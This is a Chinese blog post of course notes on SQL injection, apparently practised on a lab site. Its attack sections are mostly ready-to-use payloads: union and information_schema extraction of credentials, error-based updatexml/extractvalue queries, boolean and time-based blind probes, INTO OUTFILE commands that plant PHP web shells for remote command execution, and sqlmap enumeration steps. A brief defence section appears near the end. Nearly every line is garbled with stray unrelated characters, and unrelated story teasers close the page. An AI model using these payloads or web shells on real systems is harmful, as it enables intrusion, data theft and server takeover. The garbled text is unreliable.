SQL Injection

整理自: https://www.ichunqiu.com/course/63879

SQL Injection概述

  • 黑客在互聯(lián)網(wǎng)區(qū)域構(gòu)建sql語句滤奈,控制后臺sql查詢語句,實現(xiàn)攻擊屡拨。

二、SQL Injection 滲透測試流程

第一步:注入點(diǎn)探測

  • 自動方式:使用web漏洞掃描工具雄人,自動進(jìn)行注入點(diǎn)發(fā)現(xiàn)
  • 手動方式:手工構(gòu)造sql injection測試語句進(jìn)行注入點(diǎn)發(fā)現(xiàn)

第二步:信息獲取

  • 通過注入點(diǎn)取期望得到的數(shù)據(jù)
  • 1.環(huán)境信息:數(shù)據(jù)庫類型哟冬,數(shù)據(jù)庫版本,操作系統(tǒng)版本捞镰,用戶信息等
  • 2.數(shù)據(jù)庫信息:數(shù)據(jù)庫名稱闸与,數(shù)據(jù)庫表,表字段岸售,字段內(nèi)容(加密內(nèi)容破解)

第三步:獲取權(quán)限

  • 獲取操作系統(tǒng)權(quán)限:通過數(shù)據(jù)庫執(zhí)行shell践樱,上傳木馬

常見注入點(diǎn)類型

  • 數(shù)字型 user_id=$id
  • 字符型 user_id='$id'
  • 搜索型 text LIKE '%{_GET['search']}'"

如何判斷注入點(diǎn)的類型

案例演示

1.數(shù)字型注入演示

  • 打開目標(biāo)站點(diǎn),抓包分析凸丸,數(shù)字型=$id


    image.png

    image.png

    image.png

    image.png
  • 結(jié)合后端源碼分析 拷邢,后端獲取的id值沒有做處理直接拼接到sql語句中,select username屎慢,email from member where + 拼接的值瞭稼,如果是1 or 1=1的話,會把member表中所有username腻惠,email都查詢出來环肘。


    image.png

2.字符型注入演示

  • 根據(jù)瀏覽器url的變化,分析出為get請求集灌,字符串型悔雹,字符串在select中要加''


    image.png

    image.png
  • 抓包


    image.png
  • 添加 or 1=1,失敗


    image.png
  • 因為字符串會加'',所以name變量前邊后臺已經(jīng)有一個'了绝页,發(fā)送過去后荠商,后臺會再添加一個',所以select語句變量為'123 or 1=1'是查不到東西的。應(yīng)該改成123' or 1=1# ,這樣的話后臺就變成了'123' or 1=1 ,#起注釋的作用续誉。
image.png
  • 后端代碼分析


    image.png

搜索型注入

image.png
  • 構(gòu)造閉合


    image.png
  • 后臺代碼分析莱没。對查詢變量沒有做處理,直接拼接到查詢語句中了酷鸦。


    image.png

XX型

  • 后端源碼分析可得構(gòu)造閉合的方式


    image.png
  • 利用漏洞饰躲,構(gòu)造閉合sql語句


    image.png
  • 總結(jié):總而言之牙咏,就是對sql中的各種類型的輸入進(jìn)行閉合測試,構(gòu)造合法sql嘹裂,欺騙后臺妄壶。

union注入

  • union聯(lián)合查詢:可以通過聯(lián)合查詢來查詢指定的數(shù)據(jù)
  • 用法舉例: select username,password from user where id=1 union select 字段1寄狼,字段2from 表名 聯(lián)合查詢的字段數(shù)需要和主查詢一致
  • 數(shù)據(jù)庫中演示


    image.png
  • 如何判斷主查詢的字段數(shù)丁寄。構(gòu)造的sql語句中 用order by 數(shù)字,按列排序來判斷有幾列


    image.png
  • 實踐


    image.png

    image.png

    image.png

    image.png

    image.png

information_schema注入

  • 知識點(diǎn):
    information_schema mysql中的信息數(shù)據(jù)庫泊愧,保存著mysql維護(hù)的其它數(shù)據(jù)庫的信息伊磺。要了解兩張表。1.tables表(提供了關(guān)于數(shù)據(jù)庫中的表的信息(包括視圖)删咱。詳細(xì)表述了某個表屬于哪個schema屑埋,表類型,表[引擎]痰滋,創(chuàng)建時間等信息)中table_name 表名稱摘能、table_schema數(shù)據(jù)表所屬的數(shù)據(jù)庫名、table_type表類型[system view|base table]敲街、engine使用的數(shù)據(jù)庫引擎[MyISAM|CSV|InnoDB]团搞、version版本,默認(rèn)值10字段;2.COLUMNS表:提供了表中的列信息聪富。詳細(xì)表述了某張表的所有列以及每個列的信息莺丑。TABLE_SCHEMA 表格所屬的庫著蟹,TABLE_NAME 表名墩蔓,COLUMN_NAME字名,ORDINAL_POSITION字段標(biāo)識。


    image.png

    image.png
  • 所以獲取用戶名和密碼字段的思路為:在找到注入點(diǎn)萧豆,判斷出union 可用的字段后奸披,判斷出所用的數(shù)據(jù)庫名字和用戶名字,然后再information_schema中查看對應(yīng)的數(shù)據(jù)庫(table_schema)有哪幾個表(table_name)涮雷,然后在columns查看對應(yīng)的表有哪些字段阵面。

  • 測試是否存在注入點(diǎn)


    image.png

    image.png

    image.png
  • 判斷查詢有幾個字段。兩個洪鸭。


    image.png

    image.png

    image.png
  • 判斷數(shù)據(jù)庫名字和用戶名字


    image.png
  • 構(gòu)造payload样刷。獲取表名 kobe' union select table_schema,table_name from information_schema.tables where table_schema='pikachu'#


    image.png
  • 構(gòu)造payload獲取字段名
    kobe' union select table_name,column_name from information_schema.columns where table_name='users'#


    image.png

    *構(gòu)造payload 獲取內(nèi)容
    kobe' union select username,password from users#


    image.png

基于函數(shù)報錯的注入

  • 知識點(diǎn)
  • 常用的報錯函數(shù)updatexml()\extravalue()、floot()
  • 基于函數(shù)報錯的信息獲取(selelect/insert/update/delete)
  • 技巧思路
  • 在mysql中使用一些指定的函數(shù)來制造報錯览爵,從而從報錯信息中獲取設(shè)定的信息置鼻。select/insert/update/delete都可以使用報錯來獲取信息。
  • 三個常用的用來報錯的函數(shù)
    updatexml(): 函數(shù)是mysql對xml文檔數(shù)據(jù)進(jìn)行查詢和修改的xpath函數(shù)
    作用:改變(查找并替換)xml文檔中符合條件的節(jié)點(diǎn)的值
    語法:updatexml(xml_document,xpathstring,new_value)
    第一個參數(shù):fiedname是string格式蜓竹,為表中的字段名箕母。
    第二個參數(shù):xpathstring(xpath格式的字符串)
    第三個參數(shù):new_value,string格式储藐,替換查找到符合條件的
    xpath定位必須是有效的,否則會發(fā)生錯誤
    xpathstring可以是表達(dá)式嘶是,會執(zhí)行
    extractvalue():函數(shù)也是mysql對xml文檔數(shù)據(jù)進(jìn)行查詢的xpath函數(shù)钙勃。
    floor():mysql中用來取整的函數(shù)
  • 背景條件
  • 后臺沒有屏蔽數(shù)據(jù)庫報錯信息,在語法錯誤時會輸出在最前端聂喇。

演示

*找到注入點(diǎn)后辖源,構(gòu)造payload。 l' and updatexml(1,version(),0)#


image.png
  • 構(gòu)造payload 輸出完整結(jié)果 concat()將里邊的數(shù)據(jù)拼接成字符串 l' and updatexml(1,concat(0x7e,version()),0)#


    image.png
  • l' and updatexml(1,concat(0x7e,database()),0)#


    image.png
  • l' and updatexml(1,concat(0x7e, (select username from users)),0)#


    image.png
  • l' and updatexml(1,concat(0x7e, (select username from users limit 0,1)),0)#


    image.png

基于insert update delete的注入利用案

image.png

image.png

image.png

image.png

image.png

image.png

image.png

image.png

image.png

image.png

image.png

image.png

image.png

extractvalue()

  • 作用
  • 從目標(biāo)xml中返回包含所查詢值的字符串
    語法:extractvalue(xml_document,xpath_string)
    第一個參數(shù):xml_document是string格式希太,為xml文檔對象的名稱同木,文中為doc
    第二個參數(shù):xpath_string(xpath格式的字符串)
    xpath定位必須是有效的,否則會發(fā)生錯誤
  • 演示
  • 構(gòu)造payload跛十,s' and extractvalue(0,concat(0x7e,version()))#


    image.png

    image.png

http header注入

  • 后臺開發(fā)人員為了驗證客戶端頭信息比如常用的cookie驗證或者通過http header頭信息獲取客戶端的一些信息彤路,比如useragent、accept字段等
  • 會對客戶端的http header信息進(jìn)行獲取并使用sql進(jìn)行處理芥映,如果此時沒有足夠的安全考慮會導(dǎo)致基于http header的sql injection漏洞


    image.png

    image.png

    image.png

    image.png
  • firefox' or updatexml(1,concat(0x7e,database( )),0) or '


    image.png

    image.png

    image.png

盲注

  • 什么是盲注以及常見的盲注類型
    服務(wù)器沒有開啟錯誤回顯洲尊,屏蔽了報錯信息。
  • 基于boolean(true or false)的盲注測試


    image.png

    image.png

    image.png

    image.png

    image.png

    image.png

    image.png

    image.png

    image.png

    image.png

    image.png

    image.png

    image.png
  • 構(gòu)造paylod進(jìn)行判斷奈偏。
    kobe' and ascii(substr(database(),1,1))>113#


    image.png

    kobe' and ascii(substr(database(),1,1))>112#


    image.png

    kobe' and ascii(substr(database(),1,1))>111#
    image.png

    112 對應(yīng)p

    盲注頁面只返回正確的值或者輸入錯誤坞嘀。利用ascii進(jìn)行判斷;利用長度判斷

  • 基于time的盲注測試


    image.png

    image.png

    ** kobe' and sleep(5)#


    image.png

    ** kobe' and if((substr(database()),1,1))='a',sleep(5),null)#
    image.png

    ** kobe' and if((substr(database(),1,1))='p',sleep(5),null)#
    image.png

對服務(wù)器遠(yuǎn)程控制案例

  • 一句話木馬
  • 如何通過into outfile寫入惡意代碼并控制os

** select 1,2 into outfile " var/www/html/1.txt"
** into outfile 將select的結(jié)果寫入到指定目錄的1.txt中
** 在一些沒有回顯的注入中可以使用into outfile將結(jié)果寫入到指定文件惊来,然后訪問獲取
前提條件
1.需要知道遠(yuǎn)程目錄
2.需要遠(yuǎn)程目錄有寫權(quán)限
3.需要數(shù)據(jù)庫開啟了secure_file_priv
kobe' union select "<?php @eval(_GET['test'])?>",2 into outfile "C:\\xampp\\htdocs\\1.php"# ![image.png](https://upload-images.jianshu.io/upload_images/14172142-81f29f646c0aaac8.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240) ![image.png](https://upload-images.jianshu.io/upload_images/14172142-9e665be802455a0f.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240) ![image.png](https://upload-images.jianshu.io/upload_images/14172142-ac65b4ceb8575d31.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240) ![image.png](https://upload-images.jianshu.io/upload_images/14172142-c867f0f32ef1825a.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240) kobe' union select "<?php system(_GET['cmd'])?>",2 into outfile "C:\xampp\htdocs\2.php"#

image.png

image.png

image.png

暴力破解在sql中的應(yīng)用

  • kobe' and exsits(select * from aa)#


    image.png

    image.png

    image.png

    image.png

    image.png

sql漏洞防范

  • 代碼層面
    1.對輸入進(jìn)行嚴(yán)格的轉(zhuǎn)義和過濾
    2.使用預(yù)處理和參數(shù)化
    *網(wǎng)絡(luò)層面
    1.通過waf設(shè)備啟用sql injection注入策略(或類似防護(hù)系統(tǒng))
    2.云端防護(hù)(360網(wǎng)站衛(wèi)士丽涩,阿里云盾等)


    image.png

    推薦預(yù)處理


    image.png

    image.png

    image.png

sqlmap簡單使用方法

經(jīng)典用法
第一步:
-u "xxx" --cookie="yyy" //帶上cookie對url進(jìn)行注入探測
第二部
-u "xxx" --cookie="yyy" -current-db //對數(shù)據(jù)庫名進(jìn)行獲取
第三步:
-u "xxx" --cookie="yyy" -D pikaku --tables //對數(shù)據(jù)庫的表名進(jìn)行枚舉
第四步:
-u "xxx" --cookie="yyy" -D pikaku -T users ==columns //對
pikaku里面名為users表的列名進(jìn)行枚舉


image.png
image.png

image.png
image.png
image.png

image.png

image.png

image.png

image.png

image.png
image.png

image.png

image.png
最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個濱河市裁蚁,隨后出現(xiàn)的幾起案子矢渊,更是在濱河造成了極大的恐慌,老刑警劉巖枉证,帶你破解...
    沈念sama閱讀 216,544評論 6 501
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件矮男,死亡現(xiàn)場離奇詭異,居然都是意外死亡室谚,警方通過查閱死者的電腦和手機(jī)毡鉴,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 92,430評論 3 392
  • 文/潘曉璐 我一進(jìn)店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來秒赤,“玉大人猪瞬,你說我怎么就攤上這事∪肜海” “怎么了陈瘦?”我有些...
    開封第一講書人閱讀 162,764評論 0 353
  • 文/不壞的土叔 我叫張陵,是天一觀的道長崎弃。 經(jīng)常有香客問我甘晤,道長含潘,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 58,193評論 1 292
  • 正文 為了忘掉前任线婚,我火速辦了婚禮遏弱,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘塞弊。我一直安慰自己漱逸,他們只是感情好,可當(dāng)我...
    茶點(diǎn)故事閱讀 67,216評論 6 388
  • 文/花漫 我一把揭開白布游沿。 她就那樣靜靜地躺著饰抒,像睡著了一般。 火紅的嫁衣襯著肌膚如雪诀黍。 梳的紋絲不亂的頭發(fā)上袋坑,一...
    開封第一講書人閱讀 51,182評論 1 299
  • 那天,我揣著相機(jī)與錄音眯勾,去河邊找鬼枣宫。 笑死,一個胖子當(dāng)著我的面吹牛吃环,可吹牛的內(nèi)容都是我干的也颤。 我是一名探鬼主播,決...
    沈念sama閱讀 40,063評論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼郁轻,長吁一口氣:“原來是場噩夢啊……” “哼翅娶!你這毒婦竟也來了?” 一聲冷哼從身側(cè)響起好唯,我...
    開封第一講書人閱讀 38,917評論 0 274
  • 序言:老撾萬榮一對情侶失蹤竭沫,失蹤者是張志新(化名)和其女友劉穎,沒想到半個月后渠啊,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體输吏,經(jīng)...
    沈念sama閱讀 45,329評論 1 310
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 37,543評論 2 332
  • 正文 我和宋清朗相戀三年替蛉,在試婚紗的時候發(fā)現(xiàn)自己被綠了。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片拄氯。...
    茶點(diǎn)故事閱讀 39,722評論 1 348
  • 序言:一個原本活蹦亂跳的男人離奇死亡躲查,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出译柏,到底是詐尸還是另有隱情镣煮,我是刑警寧澤,帶...
    沈念sama閱讀 35,425評論 5 343
  • 正文 年R本政府宣布鄙麦,位于F島的核電站典唇,受9級特大地震影響镊折,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜介衔,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,019評論 3 326
  • 文/蒙蒙 一恨胚、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧炎咖,春花似錦赃泡、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,671評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至绸栅,卻和暖如春级野,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背粹胯。 一陣腳步聲響...
    開封第一講書人閱讀 32,825評論 1 269
  • 我被黑心中介騙來泰國打工勺阐, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留,地道東北人矛双。 一個月前我還...
    沈念sama閱讀 47,729評論 2 368
  • 正文 我出身青樓渊抽,卻偏偏與公主長得像,于是被迫代替她去往敵國和親议忽。 傳聞我的和親對象是個殘疾皇子懒闷,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 44,614評論 2 353

推薦閱讀更多精彩內(nèi)容